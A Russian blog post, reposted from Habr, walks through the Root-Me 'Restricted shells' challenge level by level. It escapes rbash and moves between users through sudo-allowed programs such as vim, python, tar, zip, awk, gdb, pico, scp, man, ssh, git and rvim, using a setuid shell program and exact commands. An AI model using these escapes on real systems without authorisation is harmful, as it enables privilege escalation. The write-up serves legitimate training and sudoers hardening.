J3qx

information archive

Не доверяйте SUDO, она может вас подвести

Posted by j3qx на Апрель 25, 2017

Всем доброго времени суток, в этой статье постараюсь описать некоторые способы обхода ограничений на исполнение команд в ОС Linux, советы по использованию которых можно часто встретить на различных форумах. Демонстрация будет проведена на примере задания Restricted shells с сайта Root-Me. Итак, начнём.

Пользователь ch14-1

После подключения по SSH мы попадаем на первого пользователя, и видим подсказку: «Всегда проверять sudo -l». Но для начала нужно обойти первую преграду, это rbash, который часто рекомендуют использовать для ограничения действий пользователя в командной оболочке. И действительно, с виду, он является хорошим решением, но не всегда!


Нас лишили возможности использовать ls, но мы можем отобразить содержимое любой директории используя echo:

app-script-ch14@challenge02:~$ echo ./step1/*
./step1/vim

Обычно, список бинарников разрешённых к запуску в rbash находится в так называемой домашней директории. В данном случае нам доступен vim, используя который мы можем выйти в нормальную оболочку. Запускаем vim и вводим команды:


:set shell=/bin/bash
:shell

Sudo разрешает нам запустить python, а учитывая его безграничные возможности это не совсем безопасно, и вот почему:

app-script-ch14@challenge02:~$ /usr/bin/sudo -u app-script-ch14-2 /usr/bin/python

Вводим следующие команды:

>>> import os
>>> os.system('/bin/bash')

Пользователь ch14-2

И попадаем на следующего пользователя, которому доступен архиватор tar.

app-script-ch14-2@challenge02:~$ /usr/bin/sudo -l
    (app-script-ch14-3) NOPASSWD: /bin/tar

Казалось бы, что в этом опасного? Однако tar, как и многие другие архиваторы, позволяет упаковывать и распаковывать файл сохраняя права доступа к нему. Создадим файл shell.c следующего содержания:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
int main(int argc, char **argv, char **envp)
{
	setresgid(getegid(), getegid(), getegid());
	setresuid(geteuid(), geteuid(), geteuid());

	execve("/bin/sh", argv,  envp);
	return 0;
}

Компилируем и добавляем SUID бит:

app-script-ch14-2@challenge02:/tmp/lev2$ gcc shell.c -o shell && chmod 777 shell && chmod +s shell

Теперь распаковываем с сохранением прав используя sudo:

app-script-ch14-2@challenge02:/tmp/lev2$ sudo -u app-script-ch14-3 /bin/tar -cf ./test.tar ./shell
app-script-ch14-2@challenge02:/tmp/lev2$ sudo -u app-script-ch14-3 /bin/tar -xvpf ./test.tar

В результате, после разархивирования, файл shell обретает нового владельца. В этом можно убедиться выполнив ls -ahl:

-rwsrwsrwx 1 app-script-ch14-3 app-script-ch14 7.2K Feb 14 22:39 shell

После запуска попадаем на следующий уровень:

Пользователь ch14-3

Снова проверяем sudo:

app-script-ch14-3@challenge02:/tmp/lev2$ sudo -l
    (app-script-ch14-4) NOPASSWD: /usr/bin/zip

На этот раз уже лучше, по умолчанию, zip только упаковывает файлы, для распаковки нужен unzip, который мы запустить не можем, или можем?

Заглянув в man по zip‘у, находим там интересный параметр:

-TT cmd —unzip-command cmd
Use command cmd instead of ‘unzip -tqq’ to test an archive when the -T option is used. On Unix, to use a copy of unzip in the current directory instead of the standard system unzip, could use:

zip archive file1 file2 -T -TT "./unzip -tqq"

In cmd, {} is replaced by the name of the temporary archive, otherwise the name of the archive is appended to the end of the command. The return code is checked for success (0 on Unix)

Вот и ответ. Запускаем архивацию с последующим тестированием архива, а в качестве команды для проверки, указываем unzip, который распакует файл в текущую директорию, естественно с сохранением прав доступа:

app-script-ch14-3@challenge02:/tmp/lev2$ sudo -u app-script-ch14-4 /usr/bin/zip z shell -TT '/usr/bin/unzip -K {}' -T
updating: shell (deflated 67%)
Archive:  ziFiNi11
replace shell? [y]es, [n]o, [A]ll, [N]one, [r]ename: y
  inflating: shell                  
test of z.zip OK

Проверяем результат:

app-script-ch14-3@challenge02:/tmp/lev2$ ls -ahl shell
-rwsrwsrwx 1 app-script-ch14-4 app-script-ch14 7.2K Feb 15 21:48 shell

Пользователь ch14-4

Смотрим, что ему доступно:

app-script-ch14-4@challenge02:/tmp/lev2$ sudo -l | grep NOPASSWD 
    (app-script-ch14-5) NOPASSWD: /usr/bin/awk

Ну тут всё просто, достаточно выполнить команду, описание которой можно легко найти в сети:

awk 'BEGIN {system("/bin/bash")}'

Пользователь ch14-5

Новый пользователь и новые ограничения:

app-script-ch14-5@challenge02:/tmp/lev2$ sudo -l | grep NOPASSWD 
    (app-script-ch14-6) NOPASSWD: /usr/bin/gdb

GDB довольно мощный отладчик, и способов вызвать bash у него гораздо больше:
Первый это через встроенный Python:

(gdb) python import os; os.system('id')
uid=1506(app-script-ch14-6) gid=1314(app-script-ch14) groups=1314(app-script-ch14),100(users)
(gdb) python import os; os.system('/bin/bash')

Либо аналогично, как это делали с vim:

app-script-ch14-5@challenge02:/tmp/lev2$ sudo -u app-script-ch14-6 /usr/bin/gdb -q -ex "set shell='/bin/bash'" /bin/ls
(gdb) shell

Пользователь ch14-6

Если вы думаете: «Что можно сделать через такой простой редактор как pico», то вероятно вы не знаете про его проверку орфографии, о которой кстати написано в man‘е. А сказано там следующее, что в качестве утилиты для проверки орфографии, мы можем указать всё что угодно. У нас уже есть отличный бинарник для запуска оболочки, нужно только придать ему соответствующие права. Для этого создадим файл spellbash.sh со следующим содержимым:

spellbash.sh

Изменяем права:

chmod 777 spellbash.sh

И запускаем pico, передав ему в качестве программы для проверки орфографии наш скрипт:

app-script-ch14-6@challenge02:/tmp/lev2$ sudo -u app-script-ch14-7 /usr/bin/pico -s ./spellbash.sh

После успешной проверки орфографии и закрытия редактора, наш скрипт готов к запуску:

app-script-ch14-6@challenge02:/tmp/lev2$ ls -ahl shell
-rwsrwsrwx 1 app-script-ch14-7 app-script-ch14 7.2K Feb 15 23:02 shell

Пользователь ch14-7

Ну комментировать все последствия предоставления доступа к копированию файлов по сети не нужно, однако так как доступа в сеть у нас нет, то запустив man, узнаём следующее:

-S program — Name of program to use for the encrypted connection. The program must understand ssh(1) options.

Ок, действия аналогичны прошлому уровню:

app-script-ch14-7@challenge02:/tmp/lev2$ sudo -u app-script-ch14-8 /usr/bin/scp -S ./spellbash.sh 127.0.0.1:/tmp/z.zip ./
app-script-ch14-7@challenge02:/tmp/lev2$ ls -ahl shell
-rwsrwsrwx 1 app-script-ch14-8 app-script-ch14 7.2K Feb 15 23:09 shell

Пользователь ch14-8

А вот это уже интересно. Однако и тут есть подводные камни. Так например, если запустить man, и в интерактивном режиме нажать «h«, будет показана справка, в которой можно обнаружить вот такую запись:

!command Execute the shell command with $SHELL.

Прямое исполнение команд оболочки. То что нам нужно, открываем man для любой команды, и вводим !/bin/bash:

app-script-ch14-8@challenge02:/tmp/lev2$ sudo -u app-script-ch14-9 /usr/bin/man ls

Пользователь ch14-9

Так как прав выполнить подключение к внешнему серверу у нас нет, то нужен способ выполнить команду, ещё до установки соединения. И такая возможность есть, воспользуемся советом, описанным тут:

app-script-ch14-9@challenge02:/tmp/lev2$ sudo -u app-script-ch14-10 /usr/bin/ssh -o ProxyCommand="sh -c './spellbash.sh'" 127.0.0.1

Получаем сообщение о том, что соединение сброшено, но это нем и не важно, ведь:

app-script-ch14-9@challenge02:/tmp/lev2$ ls -ahl shell 
-rwsrwsrwx 1 app-script-ch14-10 app-script-ch14 7.2K Feb 18 21:34 shell

Пользователь ch14-10

Git так же предоставляет множество способов выполнить стороннюю команду, мы воспользуемся наиболее простым из них, который мы использовали с man:

app-script-ch14-10@challenge02:/tmp/lev2$ sudo -u app-script-ch14-11 /usr/bin/git help status

Далее вводим !/bin/bash и попадаем на следующего пользователя:

Пользователь ch14-11

Вот мы и дошли до ещё одного распространённого совета, вместо vim использовать его ограниченную версию rvim и вот почему: Попробовав тот же способ, что использовался в самом начале для vim, получаем ошибку:

Но и тут есть лазейки… Просматривая список доступных команд, можно наткнуться на команды :python и :lua. Ограниченный от прямого исполнения команд rvim оказался не таким уж и безопасным.

:python import os; os.system('gcc shell.c -o shell && chmod 777 shell && chmod +s shell')

Пользователь ch14-12

script запускает новую сессию, и полностью логирует всё в указанный файл, так что просто запускаем:

app-script-ch14-12@challenge02:/tmp/lev2$ sudo -u app-script-ch14-13 /usr/bin/script script.sh

Пользователь ch14-13

Тут тоже ничего сложного, поэтому просто запускаем и снова попадаем в «начало»:

app-script-ch14-13@challenge02:/tmp/lev2$ sudo -u app-script-ch14-14 /bin/rbash --

Пользователь ch14-14

На этот раз авторы учли ошибки, и убрали vim:

app-script-ch14-14@challenge02:~/step14$ echo ./*
./sl

При выполнении команды, как можно догадаться появляется анимация локомотива и надпись

THE GAME IS OVER!

Но содержимое файла .passwd, требуемое по условию задания, мы так и не получили. Значит это ещё не конец.

Посмотрим список команд, которые доступны:

[TAB] [TAB]

Не густо, однако есть несколько способов получить содержимое файла .passwd, здесь будет только 1 из них, остальные оставлю вам на самостоятельный поиск. И так, просматривая help по каждой доступной команде, находим одну из них довольно интересной:

help mapfile

После недолгих поисков в сети примеров её использования, находим статью, которая как раз описывает способ чтения произвольного файла в переменную окружения, используя эту команду.

Воспользовавшись советом, выполняем:

app-script-ch14-14@challenge02:~/step14$ mapfile ARRAY < ../.passwd ARRAY
app-script-ch14-14@challenge02:~/step14$ echo $ARRAY

И получаем искомый пароль.

Теперь, добавляя возможность запуска какой-либо программы в файл sudoers, не поленитесь и ознакомьтесь с полным её описанием, ведь возможно именно она станет основной дырой в безопасности.

P.S. На самом деле для каждого из уровней есть своё определённое множество решений, и найти свой собственный путь будет гораздо интереснее.

© https://habrahabr.ru/post/321760/

Реклама

Добавить комментарий

Заполните поля или щелкните по значку, чтобы оставить свой комментарий:

Логотип WordPress.com

Для комментария используется ваша учётная запись WordPress.com. Выход / Изменить )

Фотография Twitter

Для комментария используется ваша учётная запись Twitter. Выход / Изменить )

Фотография Facebook

Для комментария используется ваша учётная запись Facebook. Выход / Изменить )

Google+ photo

Для комментария используется ваша учётная запись Google+. Выход / Изменить )

Connecting to %s

 
%d такие блоггеры, как: